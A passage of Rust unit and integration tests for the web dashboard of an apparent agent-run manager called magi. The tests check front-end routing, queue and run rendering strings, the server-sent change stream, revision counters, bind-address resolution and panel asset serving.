11359        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
11360        // The raw strings stay, and no schema moved.
11361        assert_eq!(v["candidates"][0]["summary"], "did **it**");
11362        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
11363    }
11364
11365    #[test]
11366    fn a_run_without_advice_has_no_advice_md() {
11367        let state = RunState::new(
11368            std::path::PathBuf::from("/repo"),
11369            "main".to_owned(),
11370            "abc".to_owned(),
11371            "x".to_owned(),
11372            crate::config::Config::default(),
11373        );
11374        let p = run_prose_md(&state);
11375        assert!(p.advice_md.is_none());
11376        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
11377    }
11378
11379    #[test]
11380    fn a_question_view_carries_markdown_for_each_thread_turn() {
11381        let home = TempDir::new().unwrap();
11382        let store = ask::Questions::at(home.path().join("questions"));
11383        let mut q = Question::new(
11384            "run".to_owned(),
11385            "implement".to_owned(),
11386            "impl-A".to_owned(),
11387            "which?".to_owned(),
11388            String::new(),
11389            Vec::new(),
11390        );
11391        q.say("plain words").unwrap();
11392        q.reply("use **this**", Vec::new()).unwrap();
11393        let v = serde_json::to_value(QuestionView::of(q, &store, false)).unwrap();
11394        let bodies = &v["thread_bodies_md"];
11395        assert_eq!(bodies.as_array().unwrap().len(), 2);
11396        assert!(!bodies[0].to_string().contains("strong"));
11397        assert!(bodies[1].to_string().contains("strong"));
11398    }
11399
11400    #[test]
11401    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
11402        // The land panel defers to `run.status` for merged, and labels a
11403        // recorded-open PR on any finished run (superseded, blocked, ...) as
11404        // last seen, never as live state.
11405        assert!(APP_JS.contains("function landView(run, raw) {"));
11406        assert!(
11407            APP_JS.contains(
11408                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
11409            )
11410        );
11411        assert!(APP_JS.contains("const pr = landView(run, raw);"));
11412        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
11413        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
11414        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
11415    }
11416
11417    #[test]
11418    fn live_runs_are_never_hidden_or_folded_as_superseded() {
11419        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
11420        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
11421        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
11422        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
11423    }
11424
11425    #[test]
11426    fn review_rounds_label_a_distinct_verified_head() {
11427        assert!(APP_JS.contains("round.verified_head"));
11428        assert!(APP_JS.contains("verified HEAD"));
11429        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
11430    }
11431
11432    #[test]
11433    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
11434        // A blocked task's chip and note must not fall back to a queued-like
11435        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
11436        // itself by e11fc58 but never checked here.
11437        assert!(APP_JS.contains("blocked: { glyph:"));
11438        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
11439
11440        // `blocked_by` mixes task ids and question ids in the same list, and
11441        // the client can only tell them apart by checking each id against
11442        // what it actually knows - never by guessing from the id's shape.
11443        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
11444        assert!(
11445            APP_JS.contains(
11446                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
11447            ),
11448            "the note line must name what a blocked task is waiting on, not just that it is blocked"
11449        );
11450        // The classification must key off `status_str`, never off `blocked_by`
11451        // or `block_reason` merely being present - both can survive briefly
11452        // on a task a hold or a dead daemon just moved off `blocked`.
11453        assert!(APP_JS.contains("if (status === \"blocked\") {"));
11454
11455        // A question a task is blocked on gets its own node in the same
11456        // dependency graph, not just a task-shaped node with nothing known
11457        // about it.
11458        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
11459        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
11460        assert!(
11461            APP_JS.contains("location.hash = \"#/questions\";"),
11462            "a question node must jump to the Questions screen, not pretend to be a task"
11463        );
11464
11465        // `Task::answers` - decisions already made - are shown as a record on
11466        // the card, the same disclosure style as the full instruction.
11467        assert!(APP_JS.contains("Resolved questions"));
11468        assert!(APP_JS.contains("r.answersList.append("));
11469        assert!(APP_CSS.contains(".task-answers"));
11470        {
11471            let start = APP_JS
11472                .find("function updateTalkTaskRow")
11473                .expect("updateTalkTaskRow");
11474            let body = &APP_JS[start..];
11475            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
11476            assert!(
11477                body.contains(
11478                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
11479                ),
11480                "a chat-filed task row must link to the task page"
11481            );
11482            assert!(
11483                !body.contains("#/runs/") && !body.contains("#/queue/"),
11484                "the row must not branch to a run or the queue card"
11485            );
11486            assert!(APP_CSS.contains(".talk-task-link"));
11487        }
11488    }
11489
11490    #[test]
11491    fn a_task_notification_links_to_the_task_page() {
11492        // A task notice opens the task detail page, not the Backlog card.
11493        let start = APP_JS
11494            .find("function noticeLink(")
11495            .expect("noticeLink exists");
11496        let body = &APP_JS[start..];
11497        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
11498        assert!(
11499            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
11500            "a task notice's link must target the task page"
11501        );
11502        assert!(
11503            !body.contains("#/queue/"),
11504            "regression: the task link must not go back to the Backlog route"
11505        );
11506        assert!(
11507            APP_JS.contains(
11508                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
11509            ),
11510            "`#/tasks/<id>` must parse into the task route"
11511        );
11512
11513        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
11514        assert!(
11515            APP_JS.contains(
11516                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
11517            ),
11518            "`#/queue/<id>` must parse into a route carrying that id"
11519        );
11520
11521        // And the Backlog view has to actually land on the card once it can
11522        // - see consumeQueueFocus(), which renderQueue() calls on every pass
11523        // so a focus set before the queue has loaded is retried once it has.
11524        assert!(APP_JS.contains("state.queueFocus = route.id;"));
11525        assert!(APP_JS.contains("function consumeQueueFocus()"));
11526        assert!(APP_JS.contains("jumpToTask(id)"));
11527    }
11528
11529    /// Chat rows are two lines at every width: the title alone, then the
11530    /// shrinkable secondary info.
11531    #[test]
11532    fn chat_rows_put_the_title_alone_on_the_first_line() {
11533        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
11534        assert!(APP_CSS.contains(
11535            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
11536        ));
11537        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
11538        assert!(APP_JS.contains("class: \"badge talk-unread\""));
11539    }
11540
11541    #[test]
11542    fn run_rows_put_the_title_alone_on_the_first_line() {
11543        assert!(
11544            APP_CSS.contains(
11545                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
11546            )
11547        );
11548        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
11549        assert!(APP_JS.contains("class: \"card run-card\""));
11550        assert!(APP_JS.contains("class: \"repo run-id\""));
11551    }
11552
11553    /// Wide screens get a master/detail layout built from the views a phone
11554    /// drills into. These are string assertions: they pin the contract between
11555    /// the three assets, not how it looks.
11556    #[test]
11557    fn wide_screens_show_list_and_preview_side_by_side() {
11558        // One breakpoint, spelled the same in the script and the stylesheet.
11559        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
11560        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
11561        assert!(APP_CSS.contains("main[data-split]"));
11562        assert!(APP_CSS.contains("body[data-split]"));
11563
11564        // The route -> panes table, and a narrow screen opting out of it.
11565        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
11566        assert!(APP_JS.contains("case \"run\": return { list: \"runs\", detail: \"run\" };"));
11567        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
11568        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
11569        assert!(INDEX_HTML.contains("id=\"split-empty\""));
11570
11571        // Selection is derived from the route, and only ever paints a row.
11572        assert!(APP_JS.contains("function markSelected() {"));
11573        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
11574        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
11575        // The dense row must override the stacked card the 720px block sets up.
11576        assert!(
11577            APP_CSS.contains(
11578                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
11579            )
11580        );
11581
11582        // Independent scrolling: the page stops scrolling, each pane does.
11583        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
11584        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
11585        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
11586        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
11587
11588        // A refresh must never navigate: the loaders still check that their
11589        // subject is the one on screen, and crossing the breakpoint only
11590        // re-reads the hash.
11591        assert!(APP_JS.contains("if (state.detail.id !== id) return;"));
11592        assert!(APP_JS.contains("if (state.taskDetail.id !== id) return;"));
11593        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
11594        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
11595
11596        // The panel sandbox and its CSP are untouched by any of this.
11597        assert!(APP_JS.contains("sandbox: \"\""));
11598        assert!(!APP_JS.contains("sandbox: \"allow"));
11599    }
11600
11601    #[test]
11602    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
11603        // consumeQueueFocus() clears an active Backlog search before it can
11604        // scroll to the target card (the sections list is hidden while a
11605        // search is showing), by recursing back into renderQueue(). The
11606        // fixer's first cut nulled state.queueFocus before that recursive
11607        // call, so the second pass saw nothing to jump to and the jump was
11608        // silently dropped whenever a notification's link was opened with a
11609        // stale search still active. state.queueFocus must only be cleared
11610        // right before jumpToTask() actually runs.
11611        assert!(
11612            APP_JS.contains(
11613                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
11614            ),
11615            "the search-clearing branch must run before state.queueFocus is cleared, or the \
11616             recursive renderQueue() call has nothing left to jump to"
11617        );
11618        assert!(
11619            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
11620            "state.queueFocus must be cleared only once the jump has landed, so a card that \
11621             arrives later still gets it"
11622        );
11623        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
11624        assert!(APP_JS.contains("is not in the current Backlog."));
11625        assert!(APP_JS.contains("li.card[data-task-id=\""));
11626        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
11627        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
11628        assert!(APP_CSS.contains(".card-permalink"));
11629        assert!(APP_CSS.contains(".queue-focus-status"));
11630        assert!(APP_JS.contains("const section = route.name === \"run\" ? \"runs\""));
11631    }
11632
11633    #[test]
11634    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
11635        // The task's own repro: only the link text inside .notice-meta was
11636        // clickable, so a tap on the message, the timestamp, or the card's
11637        // padding did nothing - on a phone that reads as "the card doesn't
11638        // work" even though the tiny link inside it did. Mark read / Dismiss
11639        // must keep working independently of this: `.closest("a, button")`
11640        // is what lets a tap that actually lands on those elements fall
11641        // through instead of being hijacked into a navigation.
11642        assert!(
11643            APP_JS.contains(
11644                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
11645            ),
11646            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
11647        );
11648    }
11649
11650    #[test]
11651    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
11652        assert!(
11653            APP_JS.contains("round.verified_head !== round.head"),
11654            "a round that verified an earlier commit must be visibly distinct from one that \
11655             verified the head reviewers are looking at now"
11656        );
11657        assert!(
11658            APP_JS.contains("round.verified_at"),
11659            "when a check ran must be on the wire, not just which commit"
11660        );
11661        assert!(
11662            APP_JS.contains("resource_blocked"),
11663            "a command magi never got to run (shared build cache contention) must not render \
11664             the same as a command that ran and failed"
11665        );
11666    }
11667
11668    #[test]
11669    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
11670        // Every KPI tile but Total runs and Completion names an exact
11671        // RunStatus and hands it to openRunsFiltered(), which is what wires
11672        // the click into state.runsFilter.status (matchesFilter's own
11673        // status check) rather than the coarser runsStateFilter chips. Each
11674        // status literal here must be one of the strings runSection() (and
11675        // isStale()) actually compare a run's own `status` field against -
11676        // a status this dashboard invented would filter to nothing.
11677        assert!(
11678            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
11679            "every KPI tile built through statusTile() must route its click through \
11680             openRunsFiltered, the single place that sets the Runs filter"
11681        );
11682        for (label, status) in [
11683            ("Merged", "merged"),
11684            ("Ready", "ready"),
11685            ("Blocked", "blocked"),
11686            ("Stalled", "stalled"),
11687        ] {
11688            let call = format!("statusTile(\"{label}\", t.{status}, ");
11689            assert!(
11690                APP_JS.contains(&call),
11691                "expected the {label} KPI tile built via {call}..."
11692            );
11693            assert!(
11694                APP_JS.contains(&format!("status === \"{status}\"")),
11695                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
11696                 compare a run against, not one invented only for the stats tile"
11697            );
11698        }
11699        assert!(
11700            APP_JS.contains("function openRunsFiltered(status)"),
11701            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
11702        );
11703        assert!(
11704            APP_JS.contains("if (status && String(run.status || \"\") !== status) return false;"),
11705            "matchesFilter must gate on the exact status a KPI tile named"
11706        );
11707        // applyRoute() only flips which view is visible for a plain `#runs`
11708        // hash - it does not itself redraw the list (see applyRoute's own
11709        // handling below) - so openRunsFiltered must call renderRuns()
11710        // itself, and must call applyRoute() too so the view flips even
11711        // when the hash string doesn't change (the operator may already be
11712        // on the Runs view when a tile is tapped, which fires no
11713        // hashchange event at all).
11714        assert!(
11715            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
11716            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
11717             hashchange event that may never fire"
11718        );
11719    }
11720
11721    #[test]
11722    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
11723        // A stats tile can leave state.runsFilter.status set to something
11724        // done-by-construction (e.g. "merged") - picking "Active" afterward
11725        // must drop it the same way an incompatible tree section is already
11726        // dropped, or the Runs list renders permanently empty with no way
11727        // for the operator to tell why.
11728        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
11729        assert!(
11730            APP_JS.contains(
11731                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
11732            ),
11733            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
11734             guard for an incompatible tree section"
11735        );
11736    }
11737
11738    #[test]
11739    fn every_stats_queue_tile_names_a_real_queue_section() {
11740        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
11741        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
11742        // (consumeQueueSectionFocus finds no matching <details> and drops
11743        // the focus) rather than fail loudly, so pin every key against the
11744        // section list it has to resolve against.
11745        assert!(
11746            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
11747            "every queue tile built through sectionTile() must route its click through \
11748             openQueueSectionFocus"
11749        );
11750        for key in ["upnext", "running", "done", "held", "blocked"] {
11751            assert!(
11752                APP_JS.contains(&format!("{{ key: \"{key}\",")),
11753                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
11754            );
11755        }
11756        // Queued and Failed intentionally both resolve to "upnext" - the
11757        // same section queueSection() itself files them under - rather than
11758        // getting a section each.
11759        for line in [
11760            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
11761            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
11762            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
11763            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
11764            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
11765            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
11766        ] {
11767            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
11768        }
11769    }
11770
11771    #[test]
11772    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
11773        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
11774        // above for the section-focus channel a stats queue tile drives:
11775        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
11776        // through the stale-search-clear recursion into renderQueue(), and
11777        // clear it only once revealQueueSection() is actually about to run -
11778        // the same trap that once silently dropped a task-focus jump.
11779        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
11780        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
11781        assert!(APP_JS.contains("function revealQueueSection(details)"));
11782        assert!(
11783            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
11784            "renderQueue() must consume both focus channels on every pass"
11785        );
11786        assert!(
11787            APP_JS.contains(
11788                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
11789            ),
11790            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
11791             the recursive renderQueue() call has nothing left to reveal"
11792        );
11793        assert!(
11794            APP_JS.contains(
11795                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
11796            ),
11797            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
11798        );
11799        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
11800        // task-focus form of the hash - a plain `#queue` navigation only
11801        // flips which view is visible. openQueueSectionFocus() must
11802        // therefore call renderQueue() itself, and applyRoute() too so the
11803        // view flips even when the hash doesn't change (the Backlog may
11804        // already be open when a tile is tapped, firing no hashchange
11805        // event at all).
11806        assert!(
11807            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
11808            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
11809             hashchange event that may never fire"
11810        );
11811    }
11812
11813    #[tokio::test]
11814    async fn the_change_stream_announces_the_current_revisions_on_connect() {
11815        let f = Fixture::start().await;
11816
11817        let mut socket = tokio::net::TcpStream::connect(f.addr)
11818            .await
11819            .expect("connect");
11820        socket
11821            .write_all(
11822                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
11823            )
11824            .await
11825            .expect("write request");
11826
11827        // Read until the first event arrives rather than to end of stream: the
11828        // stream is endless by design, which is the point of the route.
11829        let mut seen = String::new();
11830        let mut buf = [0u8; 1024];
11831        while !seen.contains("event: change") {
11832            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
11833                .await
11834                .expect("the stream must speak within five seconds")
11835                .expect("read");
11836            assert!(read > 0, "the server closed the change stream: {seen}");
11837            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
11838        }
11839
11840        assert!(
11841            seen.to_lowercase()
11842                .contains("content-type: text/event-stream"),
11843            "the browser only reconnects automatically for a real SSE stream: {seen}"
11844        );
11845        let data = seen
11846            .lines()
11847            .find_map(|l| l.strip_prefix("data:"))
11848            .expect("a data line");
11849        let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
11850        assert!(
11851            payload["queue_rev"].is_u64()
11852                && payload["runs_rev"].is_u64()
11853                && payload["questions_rev"].is_u64()
11854                && payload["talks_rev"].is_u64()
11855                && payload["notifications_rev"].is_u64()
11856                && payload["loop_rev"].is_u64(),
11857            "the client needs one revision per store to know what to refetch, \
11858             and `talks_rev` is the only notification a standing talk gets - a \
11859             phone whose radio slept through a turn learns about it here, as \
11860             does one whose operator started the loop from another device: \
11861             {payload}"
11862        );
11863
11864        // The front end re-polls health on a timer and on wake, and takes the
11865        // revisions from that answer whenever the stream is not up. So health
11866        // has to carry every key the stream carries: a phone on a link that
11867        // will not hold an SSE connection is exactly the phone that must still
11868        // notice a question, and a missing key there is not a 500 but a UI
11869        // that quietly stops updating.
11870        let health = f.get("/api/health").await.json();
11871        for key in [
11872            "queue_rev",
11873            "runs_rev",
11874            "questions_rev",
11875            "talks_rev",
11876            "notifications_rev",
11877            "loop_rev",
11878        ] {
11879            assert!(
11880                health[key].is_u64(),
11881                "health is the change stream's fallback and is missing `{key}`: {health}"
11882            );
11883        }
11884    }
11885
11886    #[tokio::test]
11887    async fn a_new_turn_on_a_talk_moves_the_change_stream_revision() {
11888        let f = Fixture::start().await;
11889        let before = f.get("/api/health").await.json()["talks_rev"]
11890            .as_u64()
11891            .expect("talks_rev");
11892
11893        let talk = seed_talk(&f, "20260904-014455-ab12", "open");
11894        std::thread::sleep(Duration::from_millis(10));
11895        let mut on_disk = f.talks().get(&talk).expect("get seeded talk");
11896        on_disk.turns.push(crate::talk::Turn {
11897            who: crate::talk::Who::Operator,
11898            body: "a new turn".to_owned(),
11899            at: Timestamp::now(),
11900            attachments: Vec::new(),
11901            usage: None,
11902        });
11903        f.talks().put(&mut on_disk).expect("record a turn");
11904
11905        let after = f.get("/api/health").await.json()["talks_rev"]
11906            .as_u64()
11907            .expect("talks_rev");
11908        assert_ne!(
11909            before, after,
11910            "a phone must be able to notice a talk's reply without polling every store"
11911        );
11912    }
11913
11914    #[test]
11915    fn bind_reads_back_from_the_spelling_the_cli_prints() {
11916        // The CLI shows the default in `--help` and parses whatever comes
11917        // back, so the two directions have to agree or `--bind auto` breaks
11918        // the moment someone copies the help text.
11919        for bind in [Bind::Auto, Bind::Addr(IpAddr::V4(Ipv4Addr::LOCALHOST))] {
11920            assert_eq!(bind.to_string().parse::<Bind>(), Ok(bind));
11921        }
11922        assert_eq!("AUTO".parse::<Bind>(), Ok(Bind::Auto));
11923        assert!("everywhere".parse::<Bind>().is_err());
11924    }
11925
11926    #[test]
11927    fn an_explicit_bind_address_is_taken_verbatim() {
11928        let asked = IpAddr::V4(Ipv4Addr::new(192, 168, 1, 20));
11929
11930        let (addr, warning) = resolve_bind(&Bind::Addr(asked));
11931
11932        assert_eq!(addr, asked);
11933        assert!(
11934            warning.is_none(),
11935            "an operator who named an address gets no lecture"
11936        );
11937    }
11938
11939    #[test]
11940    fn bind_auto_either_finds_a_tailnet_address_or_says_the_ui_is_local_only() {
11941        let (addr, warning) = resolve_bind(&Bind::Auto);
11942
11943        // This has to hold on a CI runner with no `tailscale` and on a dev box
11944        // with one, so the invariant asserted is the one shared by both
11945        // outcomes: the address is either a real tailnet address offered
11946        // without comment, or loopback with an explanation. What must never
11947        // happen is a silent fallback - an operator told "listening on
11948        // 127.0.0.1" with no reason would go looking for a firewall.
11949        match addr {
11950            IpAddr::V4(ip) if is_tailnet(&ip) => {
11951                assert!(warning.is_none(), "a tailnet address needs no warning");
11952            }
11953            other => {
11954                assert_eq!(other, IpAddr::V4(Ipv4Addr::LOCALHOST));
11955                let warning = warning.expect("a fallback has to explain itself");
11956                assert!(
11957                    warning.contains("127.0.0.1") && warning.contains("local-only"),
11958                    "the warning says what happened and what it costs: {warning}"
11959                );
11960            }
11961        }
11962    }
11963
11964    #[test]
11965    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
11966        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
11967        // boundary cases are what stop us binding to some other tool's idea of
11968        // an address.
11969        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
11970        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
11971        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
11972        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
11973        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
11974    }
11975
11976    #[test]
11977    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
11978        let ids = vec![
11979            "20260902-140501-aaaa".to_owned(),
11980            "20260902-140502-aabb".to_owned(),
11981        ];
11982
11983        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
11984        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
11985        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
11986
11987        assert_eq!(missing.status, StatusCode::NOT_FOUND);
11988        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
11989        assert_eq!(short, "20260902-140502-aabb");
11990    }
11991    #[tokio::test]
11992    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
11993        // The prompt tells agents to reference attachments by bare filename.
11994        // A document served at `.../panel` resolves `shot.png` against its own
11995        // directory, i.e. `.../shot.png`, which is not the asset route - so a
11996        // panel written exactly as instructed showed broken images. Caught by
11997        // looking at a real one in a browser, not by reading the code.
11998        let fx = Fixture::start().await;
11999        let id = panel(
12000            &fx,
12001            "<img src=\"shot.png\">",
12002            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
12003        );
12004
12005        // The frame's own URL ends in a filename, so its siblings are reachable.
12006        let doc = fx
12007            .get(&format!("/api/questions/{id}/panel/index.html"))
12008            .await;
12009        assert_eq!(doc.status, 200, "{}", doc.body);
12010        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
12011
12012        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
12013        assert_eq!(sibling.status, 200, "{}", sibling.body);
12014        assert_eq!(sibling.header("content-type"), Some("image/png"));
12015        assert_eq!(
12016            sibling.header("content-security-policy"),
12017            Some(PANEL_CSP),
12018            "the sibling route must carry the same policy as the asset route"
12019        );
12020
12021        // The original spelling keeps working: HEAD on it is how the front end
12022        // decides whether to mount a frame at all.
12023        assert_eq!(
12024            fx.head(&format!("/api/questions/{id}/panel")).await.status,
12025            200
12026        );
12027    }
12028
12029    #[test]
12030    fn runs_revision_moves_when_deleting_an_older_run() {
12031        let temp = TempDir::new().expect("tempdir");
12032        let runs = temp.path().join("runs");
12033        std::fs::create_dir_all(&runs).expect("create runs dir");
12034
12035        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
12036
12037        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
12038        std::thread::sleep(Duration::from_millis(10));
12039        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
12040
12041        let rev_before = runs_revision(&runs);
12042        assert!(rev_before > 0);
12043
12044        let old_dir = runs.join("20260901-100000-old1");
12045        std::fs::remove_dir_all(&old_dir).expect("remove old run");
12046
12047        let rev_after = runs_revision(&runs);
12048        assert_ne!(
12049            rev_before, rev_after,
12050            "deleting an older run must change the revision so other clients see the deletion"
12051        );
12052    }
12053
12054    /// A run's own `run.json` on an explicit `runs` root, bypassing the
12055    /// process-global home entirely — `RunState::save` writes through
12056    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
12057    /// (see `tests::home_lock` in the integration suite for why).
12058    fn write_state(runs: &FsPath, state: &RunState) {
12059        let dir = runs.join(&state.id);
12060        std::fs::create_dir_all(&dir).expect("run dir");
12061        std::fs::write(
12062            dir.join("run.json"),
12063            serde_json::to_string_pretty(state).expect("serialize run"),
12064        )
12065        .expect("write run.json");
12066    }
12067
12068    /// A seat starting or finishing is a write to `run.json` like any other,
12069    /// so it moves the same revision the change stream already watches —
12070    /// nothing new for `/api/events` to learn, but the property this feature
12071    /// depends on to reach the phone without a poll.
12072    #[test]
12073    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
12074        let temp = TempDir::new().expect("tempdir");
12075        let runs = temp.path().join("runs");
12076        std::fs::create_dir_all(&runs).expect("create runs dir");
12077        let mut state = RunState::new(
12078            PathBuf::from("/repo/magi"),
12079            "main".to_owned(),
12080            "0123456789abcdef".to_owned(),
12081            "task".to_owned(),
12082            Config::default(),
12083        );
12084        state.id = "20260902-100000-c0de".to_owned();
12085        write_state(&runs, &state);
12086
12087        let rev_idle = runs_revision(&runs);
12088        std::thread::sleep(Duration::from_millis(10));
12089        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
12090        write_state(&runs, &state);
12091        let rev_started = runs_revision(&runs);
12092        assert_ne!(
12093            rev_idle, rev_started,
12094            "a seat starting must move the revision"
12095        );
12096
12097        std::thread::sleep(Duration::from_millis(10));
12098        state.seat_finished("judge-1");
12099        write_state(&runs, &state);
12100        let rev_finished = runs_revision(&runs);
12101        assert_ne!(
12102            rev_started, rev_finished,
12103            "and clearing it again must move the revision a second time"
12104        );
12105    }
12106
12107    #[tokio::test]
12108    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
12109        // `TaskView` flattens `Task`, so this is really asserting that
12110        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
12111        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
12112        // never touched web.rs, so nothing here caught it if it had.
12113        let fx = Fixture::start().await;
12114        let q = fx.queue();
12115
12116        let mut t = Task::new(
12117            "Task".to_owned(),
12118            "Instruction".to_owned(),
12119            PathBuf::from("/repo"),
12120            Source::Human,
12121        );
12122        t.block(
12123            vec!["20260101-000000-dead".to_owned()],
